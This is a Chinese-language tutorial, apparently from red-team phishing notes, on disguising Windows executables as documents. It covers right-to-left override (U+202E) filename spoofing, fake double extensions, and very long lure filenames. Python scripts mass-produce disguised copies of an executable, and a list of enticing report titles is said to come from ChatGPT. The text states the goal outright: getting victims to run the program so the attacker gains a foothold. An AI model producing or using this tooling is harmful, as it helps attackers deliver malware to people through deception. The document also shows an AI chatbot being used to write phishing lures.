文件名混淆
文件名混淆
RLO
RLO(Right-to-Left Override)是一种用于改变文本显示方向的特殊控制字符
在Unicode标准中,RLO的字符代码是U+202E。其主要作用是将后续文本的显示方向从默认的左到右(LTR)改为从右到左(RTL)
RLO可以用于例如阿拉伯语和希伯来语等本身是从右到左书写的语言的显示
这个显示效果会一直持续到接下来的一个换行符(或者是一些其他更复杂的规则,譬如 U+202C PDF)
例如要把上面这个 msedge.exe
显示上看起来像是个 PDF 文件, 可以先改成 msedgefdp.exe
然后在 f
前插入 RLO
可以写个程序批量给 exe 加 RLO 和文档后缀
伪装程序图标可以参阅利用winrar创建sfx自解压打包捆绑恶意程序与合法程序那节的内容, 这里没做批量构造
# 为指定文件批量生成用 RLO + PDF,DOC,PPT,XLS 等伪造的文件
from pathlib import Path
def add_rlo_suffix(file_path:Path, new_extension_list:list[str])->None:
"""
Add an RLO character to the file name to spoof its extension.
:param file_path: 原始文件路径
:param new_extension_list: 新扩展名列表
"""
# RLO字符
rlo_char = '\u202E'
base_dir, filename = file_path.parent, file_path.name
filename, current_extension = filename.rsplit('.', 1)
base_dir = base_dir / filename
base_dir.mkdir(parents=True, exist_ok=True)
for new_extension in new_extension_list:
# 生成新的文件名
spoofed_file_path = base_dir / f"{filename}{rlo_char}{new_extension[::-1]}.{current_extension}"
# 保存文件到新的路径
spoofed_file_path.write_bytes(file_path.read_bytes())
original_file = "msedge.exe"
original_file_path = Path(__file__).parent / original_file
new_extension_list = ["pdf", "doc","docx", "ppt", "pptx","xls", "xlsx", "txt"]
spoofed_file = add_rlo_suffix(original_file_path, new_extension_list)
RLO+形近字
直接 exe + RLO pdf 人容易被标记, 所以就要引入 pdf 这些字符的形近字
扩展名伪装
Windows 文件资源管理器默认不会显示后缀名, 因此在文件名末尾, 扩展名之前添加文档扩展名也是一种常用的伪装钓鱼附件程序的方案
稍微改一下上面的RLO生成程序来批量构造扩展名伪装文件:
# 为指定文件批量生成用 RLO + PDF,DOC,PPT,XLS 伪造的文件
from pathlib import Path
def add_fake_suffix(file_path:Path, new_extension_list:list[str])->None:
"""
:param file_path: 原始文件路径
:param new_extension_list: 新扩展名列表
"""
base_dir, filename = file_path.parent, file_path.name
filename, current_extension = filename.rsplit('.', 1)
base_dir = base_dir / f"{filename}_fake_extension"
base_dir.mkdir(parents=True, exist_ok=True)
for new_extension in new_extension_list:
# 生成新的文件名
spoofed_file_path = base_dir / f"{filename}.{new_extension}.{current_extension}"
# 保存文件到新的路径
spoofed_file_path.write_bytes(file_path.read_bytes())
# Example usage
original_file = "msedge.exe"
original_file_path = Path(__file__).parent / original_file
new_extension_list = ["pdf", "doc","docx", "ppt", "pptx","xls", "xlsx", "txt"]
spoofed_file = add_fake_suffix(original_file_path, new_extension_list)
超长文件名
Windows文件资源管理器的默认列宽还是比较窄的, 所以一个超长的文件名加上图标也可能会让受害者没能注意到当前 "文档" 其实是个可执行程序, 例如如下这些:
例如让 Chatgpt 生成一些有吸引力的文档名称:
看上去还不错
《2024年度全球经济形势及未来十年趋势预测分析报告——从宏观经济到微观市场的深度剖析与战略布局建议》
《最新科技前沿:人工智能、大数据与区块链技术在各行业的应用现状及未来发展趋势研究报告》
《应对气候变化:全球环境保护政策与可持续发展战略的综合评估与实施指南——从理论到实践的全面解析》
《医疗健康产业的未来:生物技术、基因编辑与精准医学的革命性突破及其对人类健康的深远影响》
《国际贸易格局重塑:中美欧贸易关系的演变与新兴市场国家的崛起——挑战与机遇并存的全球贸易新常态》
《教育的未来:在线教育、虚拟现实与人工智能在教育领域的创新应用及其对传统教育模式的颠覆性影响》
《城市发展与智慧城市建设:从城市规划到智能交通的全面解决方案——构建宜居、绿色与高效的未来城市》
《全球能源转型:可再生能源、核能与储能技术的发展现状与前景分析——迈向低碳经济的关键路径》
《企业管理新思维:从精益管理到敏捷组织的转型升级——提升企业竞争力与创新能力的最佳实践》
《未来社会的工作与生活方式变革:远程办公、共享经济与智能家居的兴起对社会结构与个人生活的深远影响》
《全面解读未来十年全球科技发展趋势及其对各行业的深远影响与战略应对指南——从人工智能到量子计算的全景分析》
《2024年度全球宏观经济分析与预测报告——深入剖析各国经济政策、贸易关系与市场走势》
《全球健康与医疗产业未来发展趋势白皮书——从生物技术到数字医疗的综合评估与前景展望》
《气候变化与可持续发展战略综合研究报告——全球环境保护政策、能源转型与生态系统修复的全面解析》
《现代教育革命:在线学习、虚拟现实与人工智能在教育领域的应用现状及未来前景》
《智慧城市建设与管理解决方案大全——从智能交通到绿色建筑的创新实践与未来展望》
《企业数字化转型实战指南——从传统业务到数字生态的全流程转型策略与成功案例》
《全球能源格局变化与未来趋势分析——可再生能源、核能与储能技术的现状、挑战与机遇》
《未来工作与生活方式变革深度研究——远程办公、共享经济与智能家居的兴起及其社会影响》
《2024年度国际贸易政策与市场动态报告——中美欧贸易关系、新兴市场机遇与全球供应链重塑》
《2024年度企业网络安全防御指南——红蓝对抗实战案例分析与高级威胁情报解析》
《全面解析红蓝对抗中的防御策略与最佳实践——从入侵检测到威胁狩猎的全方位防护体系构建》
《高效网络防御:红蓝对抗实战经验总结与应对高级持续性威胁的战略建议》
《现代企业红蓝对抗演习报告——从攻击路径分析到防御体系优化的全景透视》
《2024年度网络安全态势感知与威胁情报共享报告——红蓝对抗中的先进防御技术与策略分析》
《全面提升企业防御能力:红蓝对抗演习中的防守方最佳实践与案例研究》
《深入解析红蓝对抗中的防御战术——高级威胁检测与响应、漏洞修补与安全加固》
《网络战中的防御策略:红蓝对抗实战案例分析与全局防御体系构建指南》
《企业网络安全运营中心(SOC)红蓝对抗演习报告——从攻击模拟到防御响应的全面优化》
《2024年度企业红蓝对抗演习综合评估报告——防御方策略优化与安全运营提升的实战经验总结》
然后可以写个脚本批量伪装文件名, 比如
import shutil
from pathlib import Path
def copy_and_rename_files():
# 当前目录
current_directory = Path(__file__).parent
# 文件路径
filename_path = current_directory / 'filename.txt'
source_file_path = current_directory / 'msedge.exe'
try:
with open(filename_path, 'r', encoding='utf-8') as filename_file:
for line in filename_file:
# 去除每行的换行符和空白字符
new_filename = line.strip() + '.exe'
# 新文件路径
new_file_path = current_directory / new_filename
# 复制并重命名文件
shutil.copyfile(source_file_path, new_file_path)
print(f'文件已复制并重命名为: {new_filename}')
except FileNotFoundError as e:
print(f'错误: {e}')
except Exception as e:
print(f'发生异常: {e}')
if __name__ == '__main__':
copy_and_rename_files()
至于批量加图标这里就不写了,前面有写过
可以看到如果添加了PDF或者word的图标的话不拖动列宽确实不容易看到后缀, 不过文件类型那里还是能看到的, 不过想想目标是针对人类的网络钓鱼, 确实可能会有上钩, 运行了的话就会有上线
当然, 除了图标之外也应当嵌入和文档标题相应的文档效果会更好